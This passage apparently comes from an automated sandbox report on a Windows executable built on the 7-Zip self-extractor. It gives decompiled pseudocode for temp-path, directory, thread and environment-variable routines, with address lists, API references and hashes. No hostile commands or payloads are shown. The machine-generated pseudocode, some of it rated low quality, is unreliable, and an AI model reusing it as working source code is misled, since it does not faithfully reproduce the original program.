					_t36 = _t36 + 1;
					if(_t36 < 0xfff) {
						continue;
					}
					break;
				}
				return _t35;
			}

0x004042ba
0x004042be
0x004042c0
0x004042d7
0x004042db
0x004042df
0x004042e2
0x004042e7
0x004042e9
0x004042e9
0x004042f6
0x004042fa
0x004042fa
0x004042ff
0x00404302
0x00404305
0x00404308
0x00404318
0x0040431e
0x00404323
0x0040432a
0x00404333
0x00000000
0x00000000
0x00404335
0x0040433c
0x00000000
0x00000000
0x00000000
0x0040433c
0x00404345

APIs

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

Part of subcall function 0040420B: wcsncpy.MSVCRT ref: 00404239
Part of subcall function 0040420B: ??3@YAXPAX@Z.MSVCRT ref: 00404244

GetTempPathW.KERNEL32(00000001,00000000,00000002,PreExtract,0041DA3C,?,00000000,?,00405B0D), ref: 004042D7
GetTempPathW.KERNEL32(00000001,00000000,00000001,?,00000000,?,00405B0D), ref: 004042F6
wsprintfW.USER32 ref: 00404318
GetFileAttributesW.KERNELBASE(?,?,?,00405B0D,?,?,?,?,?,?,?,?,?,?,00406FBC,00422844), ref: 0040432A

Strings

PreExtract, xrefs: 004042B9

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: PathTemp$??2@??3@AttributesFilewcsncpywsprintf
String ID: PreExtract
API String ID: 342973707-1883995278
Opcode ID: a6599ca690dd662ebfa5923f67b0ec3bebfb6a87c19678d5d5b6f9956c1d313b
Instruction ID: 23435fb80e171e00c8212a570b1b2e158bd2c4d8a66f38a82b80c7934b06bc9c
Opcode Fuzzy Hash: a6599ca690dd662ebfa5923f67b0ec3bebfb6a87c19678d5d5b6f9956c1d313b
Instruction Fuzzy Hash: 6E0126B03006185BC224AB6A9C49D2EF79DFFC4748B01447EF116D72E2CF7968068668

Uniqueness

Uniqueness Score: -1.00%

Function 00407370, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00407370(void* __ecx, void* __edx) {
				intOrPtr _v16;
				void* _t10;
				signed int _t12;
				void* _t15;
				void* _t30;

				_t30 = __ecx;
				if( *((intOrPtr*)(__ecx + 8)) == 0) {
					__eflags =  *0x422774 & 0x00000080;
					if(__eflags == 0) {
						_t28 = L"7ZipSfx.%03x";
						_t10 = E004042B5(L"7ZipSfx.%03x", __eflags);
						_t6 = _t30 + 4; // 0x42286c
						E004148C7(_t6, _t10);
						_push(_v16);
						L0041C160();
						_t8 = _t30 + 4; // 0x9ded58, executed
						_t12 = E0040468A( *_t8, L"7ZipSfx.%03x"); // executed
						__eflags = _t12;
						if(_t12 != 0) {
							E00407370(_t30, _t28);
							_t9 = _t30 + 4; // 0x9ded58
							E00404F69(L"SfxVarApiPath",  *_t9, __eflags, 0);
							_t15 = E00407489();
						} else {
							_t15 = 0;
						}
						return _t15;
					}
					_t4 = _t30 + 4; // 0x42286c
					E004148C7(_t4, 0x422794);
				}
				return 1;
			}

0x00407377
0x0040737d
0x00407383
0x0040738a
0x0040739c
0x004073a4
0x004073aa
0x004073ad
0x004073b2
0x004073b5
0x004073bb
0x004073be
0x004073c3
0x004073c5
0x004073cd
0x004073d2
0x004073dc
0x004073e3
0x004073c7
0x004073c7
0x004073c7
0x00000000
0x004073e8
0x00407391
0x00407394
0x00407394
0x00000000

APIs

Part of subcall function 004042B5: GetTempPathW.KERNEL32(00000001,00000000,00000002,PreExtract,0041DA3C,?,00000000,?,00405B0D), ref: 004042D7
Part of subcall function 004042B5: GetTempPathW.KERNEL32(00000001,00000000,00000001,?,00000000,?,00405B0D), ref: 004042F6
Part of subcall function 004042B5: wsprintfW.USER32 ref: 00404318
Part of subcall function 004042B5: GetFileAttributesW.KERNELBASE(?,?,?,00405B0D,?,?,?,?,?,?,?,?,?,?,00406FBC,00422844), ref: 0040432A

Part of subcall function 004148C7: ??2@YAPAXI@Z.MSVCRT ref: 004148EF
Part of subcall function 004148C7: ??3@YAXPAX@Z.MSVCRT ref: 004148F8
Part of subcall function 004148C7: memcpy.MSVCRT ref: 00414912

??3@YAXPAX@Z.MSVCRT ref: 004073B5

Part of subcall function 0040468A: lstrlenW.KERNEL32(?,0042289C,004227B8,00000000,?,?,?,00402D14,PreExtract,0041DA3C,00422868), ref: 00404699
Part of subcall function 0040468A: GetSystemTimeAsFileTime.KERNEL32(00402D14,00000000,?,?,0042289C,004227B8,00000000,?,?,?,00402D14,PreExtract,0041DA3C,00422868), ref: 00404705
Part of subcall function 0040468A: GetFileAttributesW.KERNELBASE(00000000,?,?,0042289C,004227B8,00000000,?,?,?,00402D14,PreExtract,0041DA3C,00422868), ref: 0040470C
Part of subcall function 0040468A: ??3@YAXPAX@Z.MSVCRT ref: 004047BE

Strings

PreExtract, xrefs: 00407376
7ZipSfx.%03x, xrefs: 0040739C
SfxVarApiPath, xrefs: 004073D7

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@File$AttributesPathTempTime$??2@Systemlstrlenmemcpywsprintf
String ID: 7ZipSfx.%03x$PreExtract$SfxVarApiPath
API String ID: 1986220984-914423340
Opcode ID: 91033e12dfb82957aec606a5524c6763881c06e80c2b10e47ab0ee08e430d457
Instruction ID: 4fe307b9cc81ca859ba38963731d71e1e657172fdbf814944284d27904e1fcdc
Opcode Fuzzy Hash: 91033e12dfb82957aec606a5524c6763881c06e80c2b10e47ab0ee08e430d457
Instruction Fuzzy Hash: 30F08671A0C60266D6047726D952AFEB3556BC1704F10423FED11761D1DB7CB846E68F

Uniqueness

Uniqueness Score: -1.00%

Function 00402766, Relevance: 6.1, APIs: 4, Instructions: 99
threadsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E00402766(void* __ecx, void* __edx, long _a4) {
				long _v8;
				void* _t12;
				void* _t13;
				long _t16;
				int _t18;
				intOrPtr _t23;
				void* _t29;
				void* _t34;

				_t29 = __edx;
				_push(__ecx);
				_t34 = __ecx;
				E004023C3(__ecx, _a4);
				 *0x422724 = _t34;
				 *0x422728 = 0; // executed
				_t12 = CreateThread(0, 0, E0040266D, _t34, 0,  &_v8); // executed
				 *0x422720 = _t12;
				if(_t12 != 0) {
					if( *0x422770 != 2) {
						E00408C2E(_t29);
						_t12 =  *0x422720; // 0x4f0
					}
					WaitForSingleObject(_t12, 0xffffffff);
					_t12 =  *0x422720; // 0x4f0
				}
				_t23 =  *0x422728; // 0x0
				 *0x4228c4 = 0;
				if(_t23 == 0) {
					_a4 = 0;
					__eflags =  *0x4228cc; // 0x0
					if(__eflags != 0) {
						goto L27;
					} else {
						__eflags = _t12;
						if(_t12 == 0) {
							L20:
							__eflags = (_a4 & 0x80070000) - 0x80070000;
							if((_a4 & 0x80070000) == 0x80070000) {
								_t16 = _a4 & 0x0000ffff;
								__eflags = _t16 - 0xe;
								if(_t16 != 0xe) {
									L25:
									SetLastError(_t16);
									_push(_a4);
									_push(0x22);
									_push(1);
									goto L26;
								} else {
									__eflags =  *0x422774 - 0xffffffff;
									if( *0x422774 != 0xffffffff) {
										goto L25;
									}
								}
							} else {
								_push(_a4);
								_push(0x21);
								goto L22;
							}
							goto L27;
						} else {
							_t18 = GetExitCodeThread(_t12,  &_a4); // executed
							__eflags = _t18;
							if(_t18 == 0) {
								goto L20;
							} else {
								__eflags = _a4;
								if(_a4 != 0) {
									goto L20;
								} else {
									_t13 = 0;
								}
							}
						}
					}
				} else {
					if(_t23 == 1) {
						_push(0x11);
						goto L14;
					} else {
						if(_t23 == 2) {
							_push(0x13);
							goto L14;
						} else {
							if(_t23 == 3) {
								_push(0x12);
								L14:
								_push(0);
								E00409684(_t29);
							} else {
								if(_t23 <= 0x67 || _t23 > 0x6b) {
									_push(_t23);
									_push(0x14);
									L22:
									_push(0);
									L26:
									E00409684(_t29);
								}
							}
						}
					}
					L27:
					_t13 = 0x80004005;
				}
				return _t13;
			}

0x00402766
0x00402769
0x0040276f
0x00402771
0x00402785
0x0040278b
0x00402791
0x00402797
0x0040279e
0x004027a7
0x004027a9
0x004027ae
0x004027ae
0x004027b6
0x004027bc
0x004027bc
0x004027c1
0x004027c7
0x004027cf
0x00402807
0x0040280a
0x00402810
0x00000000
0x00402812
0x00402812
0x00402814
0x0040282e
0x00402838
0x0040283a
0x00402847
0x0040284c
0x0040284f
0x0040285a
0x0040285b
0x00402861
0x00402864
0x00402866
0x00000000
0x00402851
0x00402851
0x00402858
0x00000000
0x00000000
0x00402858
0x0040283c
0x0040283c
0x0040283f
0x00000000
0x0040283f
0x00000000
0x00402816
0x0040281b
0x00402821
0x00402823
0x00000000
0x00402825
0x00402825
0x00402828
0x00000000
0x0040282a
0x0040282a
0x0040282a
0x00402828
0x00402823
0x00402814
0x004027d1
0x004027d4
0x004027fb
0x00000000
0x004027d6
0x004027d9
0x004027f7
0x00000000
0x004027db
0x004027de
0x004027f3
0x004027fd
0x004027fd
0x004027fe
0x004027e0
0x004027e3
0x004027ee
0x004027ef
0x00402841
0x00402841
0x00402868
0x00402868
0x0040286d
0x004027e3
0x004027de
0x004027d9
0x00402870
0x00402870
0x00402870
0x00402878

APIs

CreateThread.KERNELBASE(00000000,00000000,0040266D,?,00000000,00422868), ref: 00402791
WaitForSingleObject.KERNEL32(00000000,000000FF,?,00402F5E,?,PreExtract,0041DA3C,00422868), ref: 004027B6
GetExitCodeThread.KERNELBASE(00000000,0041DA3C,?,00402F5E,?,PreExtract,0041DA3C,00422868), ref: 0040281B
SetLastError.KERNEL32(0041DA3C,?,00402F5E,?,PreExtract,0041DA3C,00422868), ref: 0040285B

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Thread$CodeCreateErrorExitLastObjectSingleWait
String ID:
API String ID: 2732711357-0
Opcode ID: 1b51eaa3d26ec7de34c3eda44a3e7a89e55e6884e40329cd3d07ffc2fed94f50
Instruction ID: 52b85191acae3594b2b3cce7403cca4ac0ffd9d7b5e3f01322180d9e18f1f29e
Opcode Fuzzy Hash: 1b51eaa3d26ec7de34c3eda44a3e7a89e55e6884e40329cd3d07ffc2fed94f50
Instruction Fuzzy Hash: 36310976604200BACF396B11DE4DE7B36A4FB85750B20833BF501B62E0DAF8C881D66D

Uniqueness

Uniqueness Score: -1.00%

Function 00403092, Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00403092(WCHAR* __ecx) {
				int _t2;
				long _t5;
				signed char _t6;
				WCHAR* _t9;

				_t9 = __ecx;
				_t2 = CreateDirectoryW(__ecx, 0); // executed
				if(_t2 != 0) {
					L7:
					return 1;
				}
				_t5 = GetLastError();
				if(_t5 == 0xb7) {
					_t6 = GetFileAttributesW(_t9); // executed
					if(_t6 == 0xffffffff || (_t6 & 0x00000010) != 0) {
						goto L7;
					} else {
						_push(0xb7);
						L3:
						SetLastError();
						return 0;
					}
				}
				_push(_t5);
				goto L3;
			}

0x00403094
0x00403099
0x004030a1
0x004030d0
0x00000000
0x004030d2
0x004030a3
0x004030b0
0x004030be
0x004030c7
0x00000000
0x004030cd
0x004030cd
0x004030b3
0x004030b3
0x00000000
0x004030b9
0x004030c7
0x004030b2
0x00000000

APIs

CreateDirectoryW.KERNELBASE(00000000,00000000,00000000,-00000001,004046FD,00000000,?,?,0042289C,004227B8,00000000,?,?,?,00402D14,PreExtract), ref: 00403099
GetLastError.KERNEL32(?,?,0042289C,004227B8,00000000,?,?,?,00402D14,PreExtract,0041DA3C,00422868), ref: 004030A3
SetLastError.KERNEL32(000000B7,?,?,0042289C,004227B8,00000000,?,?,?,00402D14,PreExtract,0041DA3C,00422868), ref: 004030B3
GetFileAttributesW.KERNELBASE(00000000,?,?,0042289C,004227B8,00000000,?,?,?,00402D14,PreExtract,0041DA3C,00422868), ref: 004030BE

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$AttributesCreateDirectoryFile
String ID:
API String ID: 635176117-0
Opcode ID: c5cc671423ab482ec682e2615689a590c7d79424ef60dffe5937396f84b5532a
Instruction ID: a770e4f8708b8688440dc55708b068f6f30b91d097a371ede7b7596a26aef620
Opcode Fuzzy Hash: c5cc671423ab482ec682e2615689a590c7d79424ef60dffe5937396f84b5532a
Instruction Fuzzy Hash: 65E0DF70B421106BE6201F34AC0CBBB3EAC9F86723F200572F406F02E8D738A902416E

Uniqueness

Uniqueness Score: -1.00%

Function 004059A3, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E004059A3(intOrPtr __ecx, void* __edx, void* __eflags, signed short* _a4, char _a7, signed int _a8) {
				signed int _v8;
				intOrPtr _v12;
				char _v24;
				void* _t23;
				signed int _t25;
				signed int _t27;
				void* _t34;
				signed short* _t48;
				signed short* _t49;

				_v12 = __ecx;
				_t34 = __edx;
				E004147DF(_t23,  &_v24);
				_t48 = _a4;
				_t49 = _t48;
				_a7 = 0;
				while(1) {
					L1:
					_t25 =  *_t49 & 0x0000ffff;
					if(_t25 >= 0x30 && _t25 <= 0x39) {
					}
					L9:
					E00414864( &_v24, _t34);
					E00401585( &_v24,  *_t49 & 0x0000ffff);
					_v8 = _v8 & 0x00000000;
					_t49 =  &(_t49[1]);
					if(E00404F59() == 0) {
						L1:
						_t25 =  *_t49 & 0x0000ffff;
						if(_t25 >= 0x30 && _t25 <= 0x39) {
						}
						goto L3;
					} else {
						L10:
						_a7 = 1;
						do {
							_v12();
							_v8 = _v8 + 1;
						} while (E00404F59() != 0);
						do {
							goto L1;
						} while (E00404F59() == 0);
						goto L10;
					}
					L13:
					_t27 = _a8;
					__eflags = _t27;
					if(_t27 != 0) {
						__eflags = _t27 - 1;
						if(__eflags == 0) {
							L19:
							_t27 = E004059A3(_v12, _t34, __eflags, 0x41d648, 0xffffffff);
						} else {
							_t27 =  *_t48 & 0x0000ffff;
							__eflags = _t27;
							if(_t27 != 0) {
								L17:
								__eflags = _a7;
								if(_a7 == 0) {
									__eflags = _t27;
									if(__eflags != 0) {
										goto L19;
									}
								}
							} else {
								__eflags = _a8 - 0xffffffff;
								if(_a8 != 0xffffffff) {
									goto L17;
								}
							}
						}
					}
					_push(_v24);
					L0041C160();
					return _t27;
					L3:
					if(_t25 >= 0x61 && _t25 <= 0x7a) {
						goto L9;
					}
					if(_t25 >= 0x41 && _t25 <= 0x5a) {
						goto L9;
					}
					if(_t48 == _t49 && _a8 == 0xffffffff) {
						goto L9;
					}
					goto L13;
				}
			}

0x004059ab
0x004059b2
0x004059b4
0x004059b9
0x004059bc
0x004059be
0x004059c2
0x004059c2
0x004059c2
0x004059c8
0x004059c8
0x004059ed
0x004059f1
0x004059fd
0x00405a05
0x00405a0c
0x00405a16
0x004059c2
0x004059c2
0x004059c8
0x004059c8
0x00000000
0x00405a18
0x00405a18
0x00405a18
0x00405a1c
0x00405a1e
0x00405a24
0x00405a2f
0x004059c2
0x00000000
0x00000000
0x00000000
0x004059c2
0x00405a35
0x00405a38
0x00405a38
0x00405a3b
0x00405a3d
0x00405a3e
0x00405a59
0x00405a65
0x00405a40
0x00405a40
0x00405a43
0x00405a46
0x00405a4e
0x00405a4e
0x00405a52
0x00405a54
0x00405a57
0x00000000
0x00000000
0x00405a57
0x00405a48
0x00405a48
0x00405a4c
0x00000000
0x00000000
0x00405a4c
0x00405a46
0x00405a3e
0x00405a6a
0x00405a6d
0x00405a77
0x004059cf
0x004059d2
0x00000000
0x00000000
0x004059dc
0x00000000
0x00000000
0x004059e5
0x00000000
0x00000000
0x00000000
0x004059e5

APIs

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

??3@YAXPAX@Z.MSVCRT ref: 00405A6D

Strings

Shortcut, xrefs: 004059ED
PreExtract, xrefs: 004059AE

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@??3@
String ID: PreExtract$Shortcut
API String ID: 1936579350-2482910946
Opcode ID: fd855a89beda8bffe87f1ea3e8d631ac94191901ec90a8c98a2cf448033a5da7
Instruction ID: f0f3e7433b1fc6c74c74fcfde131b98a5d6d07456df403abe6898ee91eb4b0a3
Opcode Fuzzy Hash: fd855a89beda8bffe87f1ea3e8d631ac94191901ec90a8c98a2cf448033a5da7
Instruction Fuzzy Hash: 632185B4A00605DACF24EA55C5856BF7775DF41728F20463BE861B62C1DA7C8E80CE69

Uniqueness

Uniqueness Score: -1.00%

Function 004022F7, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E004022F7(intOrPtr __ecx, intOrPtr __edx, signed short* _a4, intOrPtr* _a8, signed int _a12) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v28;
				char _v40;
				signed int _t34;
				signed short* _t55;
				intOrPtr* _t58;

				_v8 = _v8 & 0x00000000;
				_v12 = __ecx;
				_v16 = __edx;
				E00414803( &_v28, __ecx);
				_t55 = _a4;
				E00401585( &_v28,  *_t55 & 0x0000ffff);
				_t58 = _a8;
				L1:
				while(E00404F59() == 0) {
					_t55 =  &(_t55[1]);
					_t34 =  *_t55 & 0x0000ffff;
					if(_t34 >= 0x30 && _t34 <= 0x39) {
						L8:
						E00414864( &_v28, _v12);
						E00401585( &_v28,  *_t55 & 0x0000ffff);
						_v8 = _v8 & 0x00000000;
						continue;
					}
					if(_t34 >= 0x61 && _t34 <= 0x7a) {
						goto L8;
					}
					if(_t34 >= 0x41 && _t34 <= 0x5a) {
						goto L8;
					}
					_push(_v28);
					L0041C160();
					return 1;
				}
				E00414803( &_v40, _t30);
				E00402008( &_v40, _v16, 0, _t58, _a12); // executed
				_push(_v40);
				L0041C160();
				 *(_t58 + 4) =  *(_t58 + 4) & 0x00000000;
				 *((short*)( *_t58)) = 0;
				_v8 = _v8 + 1;
				_a12 = 0x41da3c;
				goto L1;
			}

0x004022fd
0x00402303
0x0040230a
0x0040230d
0x00402312
0x0040231c
0x00402321
0x00000000
0x00402324
0x00402333
0x00402336
0x0040233c
0x00402357
0x0040235d
0x00402369
0x0040236e
0x00000000
0x0040236e
0x00402346
0x00000000
0x00000000
0x00402350
0x00000000
0x00000000
0x004023b1
0x004023b4
0x004023c0
0x004023c0
0x00402378
0x00402389
0x0040238e
0x00402391
0x00402396
0x0040239f
0x004023a2
0x004023a5
0x00000000

APIs

Part of subcall function 00414803: memcpy.MSVCRT ref: 00414829

??3@YAXPAX@Z.MSVCRT ref: 00402391
??3@YAXPAX@Z.MSVCRT ref: 004023B4

Strings

PreExtract, xrefs: 00402302

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$memcpy
String ID: PreExtract
API String ID: 750647942-1883995278
Opcode ID: 52f83685f1c84083f7c54d8613a1132cb1ca08bc402b8db5cc9e7b91f9475ac2
Instruction ID: a2b2535204d0bd1d40afa8a24637eeedcdabe34f3f30c0d4779eef0099d19ea4
Opcode Fuzzy Hash: 52f83685f1c84083f7c54d8613a1132cb1ca08bc402b8db5cc9e7b91f9475ac2
Instruction Fuzzy Hash: A7216071810109EBCF18EFA1C986AEEB775EF55714F20446BE901B21D0EB789A85CA98

Uniqueness

Uniqueness Score: -1.00%

Function 00405D92, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00405D92() {
				WCHAR* _v16;
				int _t9;
				intOrPtr _t10;
				intOrPtr _t15;
				signed int _t20;
				void* _t21;
				void* _t22;

				_t20 = 0;
				_t21 =  *0x42278c - _t20; // 0xa1
				if(_t21 > 0) {
					do {
						_t10 =  *0x422788; // 0x2215e88
						E00414839( &_v16,  *((intOrPtr*)(_t10 + _t20 * 4)) + 0xc);
						E00405546( &_v16, _t21);
						_t15 =  *0x422788; // 0x2215e88
						_t9 = SetEnvironmentVariableW( *( *(_t15 + _t20 * 4)), _v16); // executed
						_push(_v16);
						L0041C160();
						_t20 = _t20 + 1;
						_t22 = _t20 -  *0x42278c; // 0xa1
					} while (_t22 < 0);
				}
				return _t9;
			}

0x00405d99
0x00405d9b
0x00405da1
0x00405da3
0x00405da3
0x00405db2
0x00405dba
0x00405dbf
0x00405dcc
0x00405dd2
0x00405dd5
0x00405dda
0x00405ddc
0x00405ddc
0x00405da3
0x00405de6

APIs

Part of subcall function 00414839: memcpy.MSVCRT ref: 00414855

SetEnvironmentVariableW.KERNELBASE(009DB5F0,00000000,009DB5E4,SetEnvironment,00000000,?,00000000), ref: 00405DCC
??3@YAXPAX@Z.MSVCRT ref: 00405DD5

Strings

SetEnvironment, xrefs: 00405D98

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@EnvironmentVariablememcpy
String ID: SetEnvironment
API String ID: 357128876-360490078
Opcode ID: 1ac5f1f97e4f3c32b998e43d765b040d78eecc16947c32a8e13cdb82ca0686e7
Instruction ID: 2e0a3868ca799af050514896d9321bb707874ea1176aa78625a46d01673c73f0
Opcode Fuzzy Hash: 1ac5f1f97e4f3c32b998e43d765b040d78eecc16947c32a8e13cdb82ca0686e7
Instruction Fuzzy Hash: F0F05831A04028BFCB10AB98ED4188EB7B4EF44304B80807AE411A7162DB70E942DF8A

Uniqueness

Uniqueness Score: -1.00%

Function 00403ECA, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00403ECA() {
				signed short _v40;
				_Unknown_base(*)()* _t3;

				_t3 = GetProcAddress( *0x42275c, "GetNativeSystemInfo");
				if(_t3 == 0) {
					return 0;
				} else {
					 *_t3( &_v40); // executed
					return _v40 & 0x0000ffff;
				}
			}

0x00403edb
0x00403ee3
0x00403ef4
0x00403ee5
0x00403ee9
0x00403ef0
0x00403ef0

APIs

GetProcAddress.KERNEL32(GetNativeSystemInfo), ref: 00403EDB
GetNativeSystemInfo.KERNELBASE(?,?,?,00403EFA,004060E6,00000001,00000001,00000000,?,00000000), ref: 00403EE9

Strings

GetNativeSystemInfo, xrefs: 00403ED0

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressInfoNativeProcSystem
String ID: GetNativeSystemInfo
API String ID: 2220751540-3949249589
Opcode ID: e22f0686ebb65b25f7cdc175e6ec18776ede25488796abf719b58fa9f8d677af
Instruction ID: 1a34752c2e7cb131041ffb1cf8b4a571675c73488951d52ca8f01a361a8aad4f
Opcode Fuzzy Hash: e22f0686ebb65b25f7cdc175e6ec18776ede25488796abf719b58fa9f8d677af
Instruction Fuzzy Hash: D4D0A7607042096ACB14DF71BD029DA77F896486487100174F802F00D0EAB9DD41D3A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041AE02, Relevance: 4.7, APIs: 3, Instructions: 220
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E0041AE02(signed int __ecx, signed int _a4, char _a8, short _a12, signed int _a16, intOrPtr _a20) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v32;
				void* __edi;
				void* __ebp;
				signed int _t108;
				signed int _t109;
				signed int _t120;
				intOrPtr* _t123;
				void* _t124;
				signed int _t125;
				signed int _t127;
				void* _t128;
				void* _t130;
				signed int _t134;
				void* _t138;
				void* _t141;
				signed int _t150;
				void* _t159;
				signed int _t176;
				signed int _t177;
				signed int _t179;
				signed int _t181;
				signed int _t182;
				signed int _t185;
				void* _t187;

				_t181 = _a4;
				_t182 = __ecx;
				E00418567(_t181);
				 *((intOrPtr*)(_t181 + 0xe8)) =  *((intOrPtr*)(__ecx + 0x40));
				 *((intOrPtr*)(_t181 + 0xec)) =  *((intOrPtr*)(__ecx + 0x44));
				 *((char*)(_t181 + 0xe0)) =  *((intOrPtr*)(__ecx + 0x56));
				_t150 = 0;
				 *((char*)(_t181 + 0xe1)) =  *((intOrPtr*)(__ecx + 0x57));
				if( *((intOrPtr*)(_t181 + 0xe0)) != 0) {
					L16:
					_t108 = 0;
					__eflags = 0;
					L17:
					_t109 = _t108 + 1;
					__eflags = _t109;
					return _t109;
				}
				_t176 =  *(__ecx + 0x5c);
				_v20 =  *((intOrPtr*)(__ecx + 0x60));
				_v12 =  *((intOrPtr*)(__ecx + 0x64));
				_v8 =  *((intOrPtr*)(__ecx + 0x68));
				_a4 =  *((intOrPtr*)(__ecx + 0x6c));
				asm("adc ecx, ebx");
				_v24 = _t176;
				 *((intOrPtr*)(_t181 + 0xf0)) =  *((intOrPtr*)(__ecx + 0x40)) + 0x20;
				 *((intOrPtr*)(_t181 + 0xf4)) =  *((intOrPtr*)(__ecx + 0x44));
				 *((intOrPtr*)(_t181 + 0x128)) = 0x20;
				 *((intOrPtr*)(_t181 + 0x12c)) = 0;
				 *((char*)(_t181 + 0x130)) = 0;
				_t185 = _v20;
				if(_t185 < 0 || _t185 <= 0 && _t176 < 0) {
					goto L16;
				} else {
					_t187 = _v8 - 0x40000000;
					if(_t187 > 0 || _t187 >= 0 && _v12 > _t150) {
						goto L16;
					} else {
						_t108 = _v12 | _v8;
						if(_t108 != 0) {
							__eflags =  *((intOrPtr*)(_t181 + 0x134)) - _t150;
							if( *((intOrPtr*)(_t181 + 0x134)) == _t150) {
								 *((char*)(_t181 + 0x130)) = 1;
							}
							asm("adc ecx, ebx");
							 *((intOrPtr*)(_t182 + 0x70)) =  *((intOrPtr*)(_t182 + 0x70)) + _v12 + 0x20;
							asm("adc [esi+0x74], ecx");
							_t120 = _v12 + _t176;
							_t177 = _v8;
							asm("adc edx, [ebp-0x10]");
							_v32 = _t120;
							asm("adc ecx, ebx");
							 *((intOrPtr*)(_t181 + 0x128)) = _t120 + 0x20;
							 *((intOrPtr*)(_t181 + 0x12c)) = _t177;
							_t159 =  *((intOrPtr*)(_t182 + 0x48)) -  *((intOrPtr*)(_t181 + 0xf0));
							asm("sbb eax, [edi+0xf4]");
							__eflags =  *((intOrPtr*)(_t182 + 0x4c)) - _t177;
							if(__eflags > 0) {
								L19:
								_t123 =  *_t182;
								_t124 =  *((intOrPtr*)( *_t123 + 0x10))(_t123, _v24, _v20, 1, _t150);
								__eflags = _t124 - _t150;
								if(_t124 != _t150) {
									return _t124;
								}
								_t125 = _v12;
								__eflags = _t125 - _t125;
								if(_t125 != _t125) {
									L22:
									return 0x8007000e;
								}
								__eflags = _t150 - _v8;
								if(_t150 == _v8) {
									_push(_v12);
									L0041C16C();
									_v32 = _t125;
									_t127 = E0041670E(_v12); // executed
									__eflags = _t127 - _t150;
									if(_t127 == _t150) {
										_t179 = _v12;
										_t163 = _v32;
										_t128 = E0041BCE0(_v32, _t179);
